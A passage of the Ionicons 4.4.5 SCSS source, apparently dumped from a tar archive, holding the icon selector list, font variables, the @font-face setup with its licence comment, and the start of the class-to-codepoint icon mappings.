.ion-ios-checkbox-outline:before, .ion-ios-checkmark:before, .ion-ios-checkmark-circle:before, .ion-ios-checkmark-circle-outline:before, .ion-ios-clipboard:before, .ion-ios-clock:before, .ion-ios-close:before, .ion-ios-close-circle:before, .ion-ios-close-circle-outline:before, .ion-ios-cloud:before, .ion-ios-cloud-circle:before, .ion-ios-cloud-done:before, .ion-ios-cloud-download:before, .ion-ios-cloud-outline:before, .ion-ios-cloud-upload:before, .ion-ios-cloudy:before, .ion-ios-cloudy-night:before, .ion-ios-code:before, .ion-ios-code-download:before, .ion-ios-code-working:before, .ion-ios-cog:before, .ion-ios-color-fill:before, .ion-ios-color-filter:before, .ion-ios-color-palette:before, .ion-ios-color-wand:before, .ion-ios-compass:before, .ion-ios-construct:before, .ion-ios-contact:before, .ion-ios-contacts:before, .ion-ios-contract:before, .ion-ios-contrast:before, .ion-ios-copy:before, .ion-ios-create:before, .ion-ios-crop:before, .ion-ios-cube:before, .ion-ios-cut:before, .ion-ios-desktop:before, .ion-ios-disc:before, .ion-ios-document:before, .ion-ios-done-all:before, .ion-ios-download:before, .ion-ios-easel:before, .ion-ios-egg:before, .ion-ios-exit:before, .ion-ios-expand:before, .ion-ios-eye:before, .ion-ios-eye-off:before, .ion-ios-fastforward:before, .ion-ios-female:before, .ion-ios-filing:before, .ion-ios-film:before, .ion-ios-finger-print:before, .ion-ios-fitness:before, .ion-ios-flag:before, .ion-ios-flame:before, .ion-ios-flash:before, .ion-ios-flash-off:before, .ion-ios-flashlight:before, .ion-ios-flask:before, .ion-ios-flower:before, .ion-ios-folder:before, .ion-ios-folder-open:before, .ion-ios-football:before, .ion-ios-funnel:before, .ion-ios-gift:before, .ion-ios-git-branch:before, .ion-ios-git-commit:before, .ion-ios-git-compare:before, .ion-ios-git-merge:before, .ion-ios-git-network:before, .ion-ios-git-pull-request:before, .ion-ios-glasses:before, .ion-ios-globe:before, .ion-ios-grid:before, .ion-ios-hammer:before, .ion-ios-hand:before, .ion-ios-happy:before, .ion-ios-headset:before, .ion-ios-heart:before, .ion-ios-heart-dislike:before, .ion-ios-heart-empty:before, .ion-ios-heart-half:before, .ion-ios-help:before, .ion-ios-help-buoy:before, .ion-ios-help-circle:before, .ion-ios-help-circle-outline:before, .ion-ios-home:before, .ion-ios-hourglass:before, .ion-ios-ice-cream:before, .ion-ios-image:before, .ion-ios-images:before, .ion-ios-infinite:before, .ion-ios-information:before, .ion-ios-information-circle:before, .ion-ios-information-circle-outline:before, .ion-ios-jet:before, .ion-ios-journal:before, .ion-ios-key:before, .ion-ios-keypad:before, .ion-ios-laptop:before, .ion-ios-leaf:before, .ion-ios-link:before, .ion-ios-list:before, .ion-ios-list-box:before, .ion-ios-locate:before, .ion-ios-lock:before, .ion-ios-log-in:before, .ion-ios-log-out:before, .ion-ios-magnet:before, .ion-ios-mail:before, .ion-ios-mail-open:before, .ion-ios-mail-unread:before, .ion-ios-male:before, .ion-ios-man:before, .ion-ios-map:before, .ion-ios-medal:before, .ion-ios-medical:before, .ion-ios-medkit:before, .ion-ios-megaphone:before, .ion-ios-menu:before, .ion-ios-mic:before, .ion-ios-mic-off:before, .ion-ios-microphone:before, .ion-ios-moon:before, .ion-ios-more:before, .ion-ios-move:before, .ion-ios-musical-note:before, .ion-ios-musical-notes:before, .ion-ios-navigate:before, .ion-ios-notifications:before, .ion-ios-notifications-off:before, .ion-ios-notifications-outline:before, .ion-ios-nuclear:before, .ion-ios-nutrition:before, .ion-ios-open:before, .ion-ios-options:before, .ion-ios-outlet:before, .ion-ios-paper:before, .ion-ios-paper-plane:before, .ion-ios-partly-sunny:before, .ion-ios-pause:before, .ion-ios-paw:before, .ion-ios-people:before, .ion-ios-person:before, .ion-ios-person-add:before, .ion-ios-phone-landscape:before, .ion-ios-phone-portrait:before, .ion-ios-photos:before, .ion-ios-pie:before, .ion-ios-pin:before, .ion-ios-pint:before, .ion-ios-pizza:before, .ion-ios-planet:before, .ion-ios-play:before, .ion-ios-play-circle:before, .ion-ios-podium:before, .ion-ios-power:before, .ion-ios-pricetag:before, .ion-ios-pricetags:before, .ion-ios-print:before, .ion-ios-pulse:before, .ion-ios-qr-scanner:before, .ion-ios-quote:before, .ion-ios-radio:before, .ion-ios-radio-button-off:before, .ion-ios-radio-button-on:before, .ion-ios-rainy:before, .ion-ios-recording:before, .ion-ios-redo:before, .ion-ios-refresh:before, .ion-ios-refresh-circle:before, .ion-ios-remove:before, .ion-ios-remove-circle:before, .ion-ios-remove-circle-outline:before, .ion-ios-reorder:before, .ion-ios-repeat:before, .ion-ios-resize:before, .ion-ios-restaurant:before, .ion-ios-return-left:before, .ion-ios-return-right:before, .ion-ios-reverse-camera:before, .ion-ios-rewind:before, .ion-ios-ribbon:before, .ion-ios-rocket:before, .ion-ios-rose:before, .ion-ios-sad:before, .ion-ios-save:before, .ion-ios-school:before, .ion-ios-search:before, .ion-ios-send:before, .ion-ios-settings:before, .ion-ios-share:before, .ion-ios-share-alt:before, .ion-ios-shirt:before, .ion-ios-shuffle:before, .ion-ios-skip-backward:before, .ion-ios-skip-forward:before, .ion-ios-snow:before, .ion-ios-speedometer:before, .ion-ios-square:before, .ion-ios-square-outline:before, .ion-ios-star:before, .ion-ios-star-half:before, .ion-ios-star-outline:before, .ion-ios-stats:before, .ion-ios-stopwatch:before, .ion-ios-subway:before, .ion-ios-sunny:before, .ion-ios-swap:before, .ion-ios-switch:before, .ion-ios-sync:before, .ion-ios-tablet-landscape:before, .ion-ios-tablet-portrait:before, .ion-ios-tennisball:before, .ion-ios-text:before, .ion-ios-thermometer:before, .ion-ios-thumbs-down:before, .ion-ios-thumbs-up:before, .ion-ios-thunderstorm:before, .ion-ios-time:before, .ion-ios-timer:before, .ion-ios-today:before, .ion-ios-train:before, .ion-ios-transgender:before, .ion-ios-trash:before, .ion-ios-trending-down:before, .ion-ios-trending-up:before, .ion-ios-trophy:before, .ion-ios-tv:before, .ion-ios-umbrella:before, .ion-ios-undo:before, .ion-ios-unlock:before, .ion-ios-videocam:before, .ion-ios-volume-high:before, .ion-ios-volume-low:before, .ion-ios-volume-mute:before, .ion-ios-volume-off:before, .ion-ios-walk:before, .ion-ios-wallet:before, .ion-ios-warning:before, .ion-ios-watch:before, .ion-ios-water:before, .ion-ios-wifi:before, .ion-ios-wine:before, .ion-ios-woman:before, .ion-logo-android:before, .ion-logo-angular:before, .ion-logo-apple:before, .ion-logo-bitbucket:before, .ion-logo-bitcoin:before, .ion-logo-buffer:before, .ion-logo-chrome:before, .ion-logo-closed-captioning:before, .ion-logo-codepen:before, .ion-logo-css3:before, .ion-logo-designernews:before, .ion-logo-dribbble:before, .ion-logo-dropbox:before, .ion-logo-euro:before, .ion-logo-facebook:before, .ion-logo-flickr:before, .ion-logo-foursquare:before, .ion-logo-freebsd-devil:before, .ion-logo-game-controller-a:before, .ion-logo-game-controller-b:before, .ion-logo-github:before, .ion-logo-google:before, .ion-logo-googleplus:before, .ion-logo-hackernews:before, .ion-logo-html5:before, .ion-logo-instagram:before, .ion-logo-ionic:before, .ion-logo-ionitron:before, .ion-logo-javascript:before, .ion-logo-linkedin:before, .ion-logo-markdown:before, .ion-logo-model-s:before, .ion-logo-no-smoking:before, .ion-logo-nodejs:before, .ion-logo-npm:before, .ion-logo-octocat:before, .ion-logo-pinterest:before, .ion-logo-playstation:before, .ion-logo-polymer:before, .ion-logo-python:before, .ion-logo-reddit:before, .ion-logo-rss:before, .ion-logo-sass:before, .ion-logo-skype:before, .ion-logo-slack:before, .ion-logo-snapchat:before, .ion-logo-steam:before, .ion-logo-tumblr:before, .ion-logo-tux:before, .ion-logo-twitch:before, .ion-logo-twitter:before, .ion-logo-usd:before, .ion-logo-vimeo:before, .ion-logo-vk:before, .ion-logo-whatsapp:before, .ion-logo-windows:before, .ion-logo-wordpress:before, .ion-logo-xbox:before, .ion-logo-xing:before, .ion-logo-yahoo:before, .ion-logo-yen:before, .ion-logo-youtube:before, .ion-md-add:before, .ion-md-add-circle:before, .ion-md-add-circle-outline:before, .ion-md-airplane:before, .ion-md-alarm:before, .ion-md-albums:before, .ion-md-alert:before, .ion-md-american-football:before, .ion-md-analytics:before, .ion-md-aperture:before, .ion-md-apps:before, .ion-md-appstore:before, .ion-md-archive:before, .ion-md-arrow-back:before, .ion-md-arrow-down:before, .ion-md-arrow-dropdown:before, .ion-md-arrow-dropdown-circle:before, .ion-md-arrow-dropleft:before, .ion-md-arrow-dropleft-circle:before, .ion-md-arrow-dropright:before, .ion-md-arrow-dropright-circle:before, .ion-md-arrow-dropup:before, .ion-md-arrow-dropup-circle:before, .ion-md-arrow-forward:before, .ion-md-arrow-round-back:before, .ion-md-arrow-round-down:before, .ion-md-arrow-round-forward:before, .ion-md-arrow-round-up:before, .ion-md-arrow-up:before, .ion-md-at:before, .ion-md-attach:before, .ion-md-backspace:before, .ion-md-barcode:before, .ion-md-baseball:before, .ion-md-basket:before, .ion-md-basketball:before, .ion-md-battery-charging:before, .ion-md-battery-dead:before, .ion-md-battery-full:before, .ion-md-beaker:before, .ion-md-bed:before, .ion-md-beer:before, .ion-md-bicycle:before, .ion-md-bluetooth:before, .ion-md-boat:before, .ion-md-body:before, .ion-md-bonfire:before, .ion-md-book:before, .ion-md-bookmark:before, .ion-md-bookmarks:before, .ion-md-bowtie:before, .ion-md-briefcase:before, .ion-md-browsers:before, .ion-md-brush:before, .ion-md-bug:before, .ion-md-build:before, .ion-md-bulb:before, .ion-md-bus:before, .ion-md-business:before, .ion-md-cafe:before, .ion-md-calculator:before, .ion-md-calendar:before, .ion-md-call:before, .ion-md-camera:before, .ion-md-car:before, .ion-md-card:before, .ion-md-cart:before, .ion-md-cash:before, .ion-md-cellular:before, .ion-md-chatboxes:before, .ion-md-chatbubbles:before, .ion-md-checkbox:before, .ion-md-checkbox-outline:before, .ion-md-checkmark:before, .ion-md-checkmark-circle:before, .ion-md-checkmark-circle-outline:before, .ion-md-clipboard:before, .ion-md-clock:before, .ion-md-close:before, .ion-md-close-circle:before, .ion-md-close-circle-outline:before, .ion-md-cloud:before, .ion-md-cloud-circle:before, .ion-md-cloud-done:before, .ion-md-cloud-download:before, .ion-md-cloud-outline:before, .ion-md-cloud-upload:before, .ion-md-cloudy:before, .ion-md-cloudy-night:before, .ion-md-code:before, .ion-md-code-download:before, .ion-md-code-working:before, .ion-md-cog:before, .ion-md-color-fill:before, .ion-md-color-filter:before, .ion-md-color-palette:before, .ion-md-color-wand:before, .ion-md-compass:before, .ion-md-construct:before, .ion-md-contact:before, .ion-md-contacts:before, .ion-md-contract:before, .ion-md-contrast:before, .ion-md-copy:before, .ion-md-create:before, .ion-md-crop:before, .ion-md-cube:before, .ion-md-cut:before, .ion-md-desktop:before, .ion-md-disc:before, .ion-md-document:before, .ion-md-done-all:before, .ion-md-download:before, .ion-md-easel:before, .ion-md-egg:before, .ion-md-exit:before, .ion-md-expand:before, .ion-md-eye:before, .ion-md-eye-off:before, .ion-md-fastforward:before, .ion-md-female:before, .ion-md-filing:before, .ion-md-film:before, .ion-md-finger-print:before, .ion-md-fitness:before, .ion-md-flag:before, .ion-md-flame:before, .ion-md-flash:before, .ion-md-flash-off:before, .ion-md-flashlight:before, .ion-md-flask:before, .ion-md-flower:before, .ion-md-folder:before, .ion-md-folder-open:before, .ion-md-football:before, .ion-md-funnel:before, .ion-md-gift:before, .ion-md-git-branch:before, .ion-md-git-commit:before, .ion-md-git-compare:before, .ion-md-git-merge:before, .ion-md-git-network:before, .ion-md-git-pull-request:before, .ion-md-glasses:before, .ion-md-globe:before, .ion-md-grid:before, .ion-md-hammer:before, .ion-md-hand:before, .ion-md-happy:before, .ion-md-headset:before, .ion-md-heart:before, .ion-md-heart-dislike:before, .ion-md-heart-empty:before, .ion-md-heart-half:before, .ion-md-help:before, .ion-md-help-buoy:before, .ion-md-help-circle:before, .ion-md-help-circle-outline:before, .ion-md-home:before, .ion-md-hourglass:before, .ion-md-ice-cream:before, .ion-md-image:before, .ion-md-images:before, .ion-md-infinite:before, .ion-md-information:before, .ion-md-information-circle:before, .ion-md-information-circle-outline:before, .ion-md-jet:before, .ion-md-journal:before, .ion-md-key:before, .ion-md-keypad:before, .ion-md-laptop:before, .ion-md-leaf:before, .ion-md-link:before, .ion-md-list:before, .ion-md-list-box:before, .ion-md-locate:before, .ion-md-lock:before, .ion-md-log-in:before, .ion-md-log-out:before, .ion-md-magnet:before, .ion-md-mail:before, .ion-md-mail-open:before, .ion-md-mail-unread:before, .ion-md-male:before, .ion-md-man:before, .ion-md-map:before, .ion-md-medal:before, .ion-md-medical:before, .ion-md-medkit:before, .ion-md-megaphone:before, .ion-md-menu:before, .ion-md-mic:before, .ion-md-mic-off:before, .ion-md-microphone:before, .ion-md-moon:before, .ion-md-more:before, .ion-md-move:before, .ion-md-musical-note:before, .ion-md-musical-notes:before, .ion-md-navigate:before, .ion-md-notifications:before, .ion-md-notifications-off:before, .ion-md-notifications-outline:before, .ion-md-nuclear:before, .ion-md-nutrition:before, .ion-md-open:before, .ion-md-options:before, .ion-md-outlet:before, .ion-md-paper:before, .ion-md-paper-plane:before, .ion-md-partly-sunny:before, .ion-md-pause:before, .ion-md-paw:before, .ion-md-people:before, .ion-md-person:before, .ion-md-person-add:before, .ion-md-phone-landscape:before, .ion-md-phone-portrait:before, .ion-md-photos:before, .ion-md-pie:before, .ion-md-pin:before, .ion-md-pint:before, .ion-md-pizza:before, .ion-md-planet:before, .ion-md-play:before, .ion-md-play-circle:before, .ion-md-podium:before, .ion-md-power:before, .ion-md-pricetag:before, .ion-md-pricetags:before, .ion-md-print:before, .ion-md-pulse:before, .ion-md-qr-scanner:before, .ion-md-quote:before, .ion-md-radio:before, .ion-md-radio-button-off:before, .ion-md-radio-button-on:before, .ion-md-rainy:before, .ion-md-recording:before, .ion-md-redo:before, .ion-md-refresh:before, .ion-md-refresh-circle:before, .ion-md-remove:before, .ion-md-remove-circle:before, .ion-md-remove-circle-outline:before, .ion-md-reorder:before, .ion-md-repeat:before, .ion-md-resize:before, .ion-md-restaurant:before, .ion-md-return-left:before, .ion-md-return-right:before, .ion-md-reverse-camera:before, .ion-md-rewind:before, .ion-md-ribbon:before, .ion-md-rocket:before, .ion-md-rose:before, .ion-md-sad:before, .ion-md-save:before, .ion-md-school:before, .ion-md-search:before, .ion-md-send:before, .ion-md-settings:before, .ion-md-share:before, .ion-md-share-alt:before, .ion-md-shirt:before, .ion-md-shuffle:before, .ion-md-skip-backward:before, .ion-md-skip-forward:before, .ion-md-snow:before, .ion-md-speedometer:before, .ion-md-square:before, .ion-md-square-outline:before, .ion-md-star:before, .ion-md-star-half:before, .ion-md-star-outline:before, .ion-md-stats:before, .ion-md-stopwatch:before, .ion-md-subway:before, .ion-md-sunny:before, .ion-md-swap:before, .ion-md-switch:before, .ion-md-sync:before, .ion-md-tablet-landscape:before, .ion-md-tablet-portrait:before, .ion-md-tennisball:before, .ion-md-text:before, .ion-md-thermometer:before, .ion-md-thumbs-down:before, .ion-md-thumbs-up:before, .ion-md-thunderstorm:before, .ion-md-time:before, .ion-md-timer:before, .ion-md-today:before, .ion-md-train:before, .ion-md-transgender:before, .ion-md-trash:before, .ion-md-trending-down:before, .ion-md-trending-up:before, .ion-md-trophy:before, .ion-md-tv:before, .ion-md-umbrella:before, .ion-md-undo:before, .ion-md-unlock:before, .ion-md-videocam:before, .ion-md-volume-high:before, .ion-md-volume-low:before, .ion-md-volume-mute:before, .ion-md-volume-off:before, .ion-md-walk:before, .ion-md-wallet:before, .ion-md-warning:before, .ion-md-watch:before, .ion-md-water:before, .ion-md-wifi:before, .ion-md-wine:before, .ion-md-woman:before { @extend .ion; }scss/ionicons-variables.scss000064400000000307151701353760012213 0ustar00@charset "UTF-8"; // Ionicons Variables // -------------------------- $ionicons-font-path: "../fonts" !default; $ionicons-font-family: "Ionicons" !default; $ionicons-version: "4.4.5" !default;scss/ionicons.scss000064400000003021151701353760010241 0ustar00@import "ionicons-variables"; /*! Ionicons, v#{$ionicons-version} Created by Ben Sperry for the Ionic Framework, http://ionicons.com/ https://twitter.com/benjsperry https://twitter.com/ionicframework MIT License: https://github.com/driftyco/ionicons Android-style icons originally built by Google’s Material Design Icons: https://github.com/google/material-design-icons used under CC BY http://creativecommons.org/licenses/by/4.0/ Modified icons to fit ionicon’s grid from original. */ // Ionicons // -------------------------- @font-face { font-family: "Ionicons"; src:url("#{$ionicons-font-path}/ionicons.eot?v=#{$ionicons-version}"); src:url("#{$ionicons-font-path}/ionicons.eot?v=#{$ionicons-version}#iefix") format("embedded-opentype"), url("#{$ionicons-font-path}/ionicons.woff2?v=#{$ionicons-version}") format("woff2"), url("#{$ionicons-font-path}/ionicons.woff?v=#{$ionicons-version}") format("woff"), url("#{$ionicons-font-path}/ionicons.ttf?v=#{$ionicons-version}") format("truetype"), url("#{$ionicons-font-path}/ionicons.svg?v=#{$ionicons-version}#Ionicons") format("svg"); font-weight: normal; font-style: normal; } .ion { display: inline-block; font-family: "Ionicons"; speak: none; font-style: normal; font-weight: normal; font-variant: normal; text-transform: none; text-rendering: auto; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } @import "ionicons-common"; @import "ionicons-icons"; scss/ionicons-core.scss000064400000001045151701353760011173 0ustar00@import "ionicons-variables"; /*! Ionicons, v#{$ionicons-version} Created by Ben Sperry for the Ionic Framework, http://ionicons.com/ https://twitter.com/benjsperry https://twitter.com/ionicframework MIT License: https://github.com/driftyco/ionicons Android-style icons originally built by Google’s Material Design Icons: https://github.com/google/material-design-icons used under CC BY http://creativecommons.org/licenses/by/4.0/ Modified icons to fit ionicon’s grid from original. */ @import "ionicons-icons"; scss/ionicons-icons.scss000064400000100741151701353760011361 0ustar00@charset "UTF-8"; // Ionicons Icon Font CSS // -------------------------- .ion-ios-add:before { content: "\f102"; } .ion-ios-add-circle:before { content: "\f101"; } .ion-ios-add-circle-outline:before { content: "\f100"; } .ion-ios-airplane:before { content: "\f137"; } .ion-ios-alarm:before { content: "\f3c8"; } .ion-ios-albums:before { content: "\f3ca"; } .ion-ios-alert:before { content: "\f104"; } .ion-ios-american-football:before { content: "\f106"; } .ion-ios-analytics:before { content: "\f3ce"; } .ion-ios-aperture:before { content: "\f108"; } .ion-ios-apps:before { content: "\f10a"; } .ion-ios-appstore:before { content: "\f10c"; } .ion-ios-archive:before { content: "\f10e"; } .ion-ios-arrow-back:before { content: "\f3cf"; } .ion-ios-arrow-down:before { content: "\f3d0"; } .ion-ios-arrow-dropdown:before { content: "\f110"; } .ion-ios-arrow-dropdown-circle:before { content: "\f125"; } .ion-ios-arrow-dropleft:before { content: "\f112"; } .ion-ios-arrow-dropleft-circle:before { content: "\f129"; } .ion-ios-arrow-dropright:before { content: "\f114"; } .ion-ios-arrow-dropright-circle:before { content: "\f12b"; } .ion-ios-arrow-dropup:before { content: "\f116"; } .ion-ios-arrow-dropup-circle:before { content: "\f12d"; } .ion-ios-arrow-forward:before { content: "\f3d1"; } .ion-ios-arrow-round-back:before { content: "\f117"; } .ion-ios-arrow-round-down:before { content: "\f118"; } .ion-ios-arrow-round-forward:before { content: "\f119"; } .ion-ios-arrow-round-up:before { content: "\f11a"; } .ion-ios-arrow-up:before { content: "\f3d8"; } .ion-ios-at:before { content: "\f3da"; } .ion-ios-attach:before { content: "\f11b"; } .ion-ios-backspace:before { content: "\f11d"; } .ion-ios-barcode:before { content: "\f3dc"; } .ion-ios-baseball:before { content: "\f3de"; } .ion-ios-basket:before { content: "\f11f"; } .ion-ios-basketball:before { content: "\f3e0"; } .ion-ios-battery-charging:before { content: "\f120"; } .ion-ios-battery-dead:before { content: "\f121"; } .ion-ios-battery-full:before { content: "\f122"; } .ion-ios-beaker:before { content: "\f124"; } .ion-ios-bed:before { content: "\f139"; } .ion-ios-beer:before { content: "\f126"; } .ion-ios-bicycle:before { content: "\f127"; } .ion-ios-bluetooth:before { content: "\f128"; } .ion-ios-boat:before { content: "\f12a"; } .ion-ios-body:before { content: "\f3e4"; } .ion-ios-bonfire:before { content: "\f12c"; } .ion-ios-book:before { content: "\f3e8"; } .ion-ios-bookmark:before { content: "\f12e"; } .ion-ios-bookmarks:before { content: "\f3ea"; } .ion-ios-bowtie:before { content: "\f130"; } .ion-ios-briefcase:before { content: "\f3ee"; } .ion-ios-browsers:before { content: "\f3f0"; } .ion-ios-brush:before { content: "\f132"; } .ion-ios-bug:before { content: "\f134"; } .ion-ios-build:before { content: "\f136"; } .ion-ios-bulb:before { content: "\f138"; } .ion-ios-bus:before { content: "\f13a"; } .ion-ios-business:before { content: "\f1a3"; } .ion-ios-cafe:before { content: "\f13c"; } .ion-ios-calculator:before { content: "\f3f2"; } .ion-ios-calendar:before { content: "\f3f4"; } .ion-ios-call:before { content: "\f13e"; } .ion-ios-camera:before { content: "\f3f6"; } .ion-ios-car:before { content: "\f140"; } .ion-ios-card:before { content: "\f142"; } .ion-ios-cart:before { content: "\f3f8"; } .ion-ios-cash:before { content: "\f144"; } .ion-ios-cellular:before { content: "\f13d"; } .ion-ios-chatboxes:before { content: "\f3fa"; } .ion-ios-chatbubbles:before { content: "\f146"; } .ion-ios-checkbox:before { content: "\f148"; } .ion-ios-checkbox-outline:before { content: "\f147"; } .ion-ios-checkmark:before { content: "\f3ff"; } .ion-ios-checkmark-circle:before { content: "\f14a"; } .ion-ios-checkmark-circle-outline:before { content: "\f149"; } .ion-ios-clipboard:before { content: "\f14c"; } .ion-ios-clock:before { content: "\f403"; } .ion-ios-close:before { content: "\f406"; } .ion-ios-close-circle:before { content: "\f14e"; } .ion-ios-close-circle-outline:before { content: "\f14d"; } .ion-ios-cloud:before { content: "\f40c"; } .ion-ios-cloud-circle:before { content: "\f152"; } .ion-ios-cloud-done:before { content: "\f154"; } .ion-ios-cloud-download:before { content: "\f408"; } .ion-ios-cloud-outline:before { content: "\f409"; } .ion-ios-cloud-upload:before { content: "\f40b"; } .ion-ios-cloudy:before { content: "\f410"; } .ion-ios-cloudy-night:before { content: "\f40e"; } .ion-ios-code:before { content: "\f157"; } .ion-ios-code-download:before { content: "\f155"; } .ion-ios-code-working:before { content: "\f156"; } .ion-ios-cog:before { content: "\f412"; } .ion-ios-color-fill:before { content: "\f159"; } .ion-ios-color-filter:before { content: "\f414"; } .ion-ios-color-palette:before { content: "\f15b"; } .ion-ios-color-wand:before { content: "\f416"; } .ion-ios-compass:before { content: "\f15d"; } .ion-ios-construct:before { content: "\f15f"; } .ion-ios-contact:before { content: "\f41a"; } .ion-ios-contacts:before { content: "\f161"; } .ion-ios-contract:before { content: "\f162"; } .ion-ios-contrast:before { content: "\f163"; } .ion-ios-copy:before { content: "\f41c"; } .ion-ios-create:before { content: "\f165"; } .ion-ios-crop:before { content: "\f41e"; } .ion-ios-cube:before { content: "\f168"; } .ion-ios-cut:before { content: "\f16a"; } .ion-ios-desktop:before { content: "\f16c"; } .ion-ios-disc:before { content: "\f16e"; } .ion-ios-document:before { content: "\f170"; } .ion-ios-done-all:before { content: "\f171"; } .ion-ios-download:before { content: "\f420"; } .ion-ios-easel:before { content: "\f173"; } .ion-ios-egg:before { content: "\f175"; } .ion-ios-exit:before { content: "\f177"; } .ion-ios-expand:before { content: "\f178"; } .ion-ios-eye:before { content: "\f425"; } .ion-ios-eye-off:before { content: "\f17a"; } .ion-ios-fastforward:before { content: "\f427"; } .ion-ios-female:before { content: "\f17b"; } .ion-ios-filing:before { content: "\f429"; } .ion-ios-film:before { content: "\f42b"; } .ion-ios-finger-print:before { content: "\f17c"; } .ion-ios-fitness:before { content: "\f1ab"; } .ion-ios-flag:before { content: "\f42d"; } .ion-ios-flame:before { content: "\f42f"; } .ion-ios-flash:before { content: "\f17e"; } .ion-ios-flash-off:before { content: "\f12f"; } .ion-ios-flashlight:before { content: "\f141"; } .ion-ios-flask:before { content: "\f431"; } .ion-ios-flower:before { content: "\f433"; } .ion-ios-folder:before { content: "\f435"; } .ion-ios-folder-open:before { content: "\f180"; } .ion-ios-football:before { content: "\f437"; } .ion-ios-funnel:before { content: "\f182"; } .ion-ios-gift:before { content: "\f191"; } .ion-ios-git-branch:before { content: "\f183"; } .ion-ios-git-commit:before { content: "\f184"; } .ion-ios-git-compare:before { content: "\f185"; } .ion-ios-git-merge:before { content: "\f186"; } .ion-ios-git-network:before { content: "\f187"; } .ion-ios-git-pull-request:before { content: "\f188"; } .ion-ios-glasses:before { content: "\f43f"; } .ion-ios-globe:before { content: "\f18a"; } .ion-ios-grid:before { content: "\f18c"; } .ion-ios-hammer:before { content: "\f18e"; } .ion-ios-hand:before { content: "\f190"; } .ion-ios-happy:before { content: "\f192"; } .ion-ios-headset:before { content: "\f194"; } .ion-ios-heart:before { content: "\f443"; } .ion-ios-heart-dislike:before { content: "\f13f"; } .ion-ios-heart-empty:before { content: "\f19b"; } .ion-ios-heart-half:before { content: "\f19d"; } .ion-ios-help:before { content: "\f446"; } .ion-ios-help-buoy:before { content: "\f196"; } .ion-ios-help-circle:before { content: "\f198"; } .ion-ios-help-circle-outline:before { content: "\f197"; } .ion-ios-home:before { content: "\f448"; } .ion-ios-hourglass:before { content: "\f103"; } .ion-ios-ice-cream:before { content: "\f19a"; } .ion-ios-image:before { content: "\f19c"; } .ion-ios-images:before { content: "\f19e"; } .ion-ios-infinite:before { content: "\f44a"; } .ion-ios-information:before { content: "\f44d"; } .ion-ios-information-circle:before { content: "\f1a0"; } .ion-ios-information-circle-outline:before { content: "\f19f"; } .ion-ios-jet:before { content: "\f1a5"; } .ion-ios-journal:before { content: "\f189"; } .ion-ios-key:before { content: "\f1a7"; } .ion-ios-keypad:before { content: "\f450"; } .ion-ios-laptop:before { content: "\f1a8"; } .ion-ios-leaf:before { content: "\f1aa"; } .ion-ios-link:before { content: "\f22a"; } .ion-ios-list:before { content: "\f454"; } .ion-ios-list-box:before { content: "\f143"; } .ion-ios-locate:before { content: "\f1ae"; } .ion-ios-lock:before { content: "\f1b0"; } .ion-ios-log-in:before { content: "\f1b1"; } .ion-ios-log-out:before { content: "\f1b2"; } .ion-ios-magnet:before { content: "\f1b4"; } .ion-ios-mail:before { content: "\f1b8"; } .ion-ios-mail-open:before { content: "\f1b6"; } .ion-ios-mail-unread:before { content: "\f145"; } .ion-ios-male:before { content: "\f1b9"; } .ion-ios-man:before { content: "\f1bb"; } .ion-ios-map:before { content: "\f1bd"; } .ion-ios-medal:before { content: "\f1bf"; } .ion-ios-medical:before { content: "\f45c"; } .ion-ios-medkit:before { content: "\f45e"; } .ion-ios-megaphone:before { content: "\f1c1"; } .ion-ios-menu:before { content: "\f1c3"; } .ion-ios-mic:before { content: "\f461"; } .ion-ios-mic-off:before { content: "\f45f"; } .ion-ios-microphone:before { content: "\f1c6"; } .ion-ios-moon:before { content: "\f468"; } .ion-ios-more:before { content: "\f1c8"; } .ion-ios-move:before { content: "\f1cb"; } .ion-ios-musical-note:before { content: "\f46b"; } .ion-ios-musical-notes:before { content: "\f46c"; } .ion-ios-navigate:before { content: "\f46e"; } .ion-ios-notifications:before { content: "\f1d3"; } .ion-ios-notifications-off:before { content: "\f1d1"; } .ion-ios-notifications-outline:before { content: "\f133"; } .ion-ios-nuclear:before { content: "\f1d5"; } .ion-ios-nutrition:before { content: "\f470"; } .ion-ios-open:before { content: "\f1d7"; } .ion-ios-options:before { content: "\f1d9"; } .ion-ios-outlet:before { content: "\f1db"; } .ion-ios-paper:before { content: "\f472"; } .ion-ios-paper-plane:before { content: "\f1dd"; } .ion-ios-partly-sunny:before { content: "\f1df"; } .ion-ios-pause:before { content: "\f478"; } .ion-ios-paw:before { content: "\f47a"; } .ion-ios-people:before { content: "\f47c"; } .ion-ios-person:before { content: "\f47e"; } .ion-ios-person-add:before { content: "\f1e1"; } .ion-ios-phone-landscape:before { content: "\f1e2"; } .ion-ios-phone-portrait:before { content: "\f1e3"; } .ion-ios-photos:before { content: "\f482"; } .ion-ios-pie:before { content: "\f484"; } .ion-ios-pin:before { content: "\f1e5"; } .ion-ios-pint:before { content: "\f486"; } .ion-ios-pizza:before { content: "\f1e7"; } .ion-ios-planet:before { content: "\f1eb"; } .ion-ios-play:before { content: "\f488"; } .ion-ios-play-circle:before { content: "\f113"; } .ion-ios-podium:before { content: "\f1ed"; } .ion-ios-power:before { content: "\f1ef"; } .ion-ios-pricetag:before { content: "\f48d"; } .ion-ios-pricetags:before { content: "\f48f"; } .ion-ios-print:before { content: "\f1f1"; } .ion-ios-pulse:before { content: "\f493"; } .ion-ios-qr-scanner:before { content: "\f1f3"; } .ion-ios-quote:before { content: "\f1f5"; } .ion-ios-radio:before { content: "\f1f9"; } .ion-ios-radio-button-off:before { content: "\f1f6"; } .ion-ios-radio-button-on:before { content: "\f1f7"; } .ion-ios-rainy:before { content: "\f495"; } .ion-ios-recording:before { content: "\f497"; } .ion-ios-redo:before { content: "\f499"; } .ion-ios-refresh:before { content: "\f49c"; } .ion-ios-refresh-circle:before { content: "\f135"; } .ion-ios-remove:before { content: "\f1fc"; } .ion-ios-remove-circle:before { content: "\f1fb"; } .ion-ios-remove-circle-outline:before { content: "\f1fa"; } .ion-ios-reorder:before { content: "\f1fd"; } .ion-ios-repeat:before { content: "\f1fe"; } .ion-ios-resize:before { content: "\f1ff"; } .ion-ios-restaurant:before { content: "\f201"; } .ion-ios-return-left:before { content: "\f202"; } .ion-ios-return-right:before { content: "\f203"; } .ion-ios-reverse-camera:before { content: "\f49f"; } .ion-ios-rewind:before { content: "\f4a1"; } .ion-ios-ribbon:before { content: "\f205"; } .ion-ios-rocket:before { content: "\f14b"; } .ion-ios-rose:before { content: "\f4a3"; } .ion-ios-sad:before { content: "\f207"; } .ion-ios-save:before { content: "\f1a6"; } .ion-ios-school:before { content: 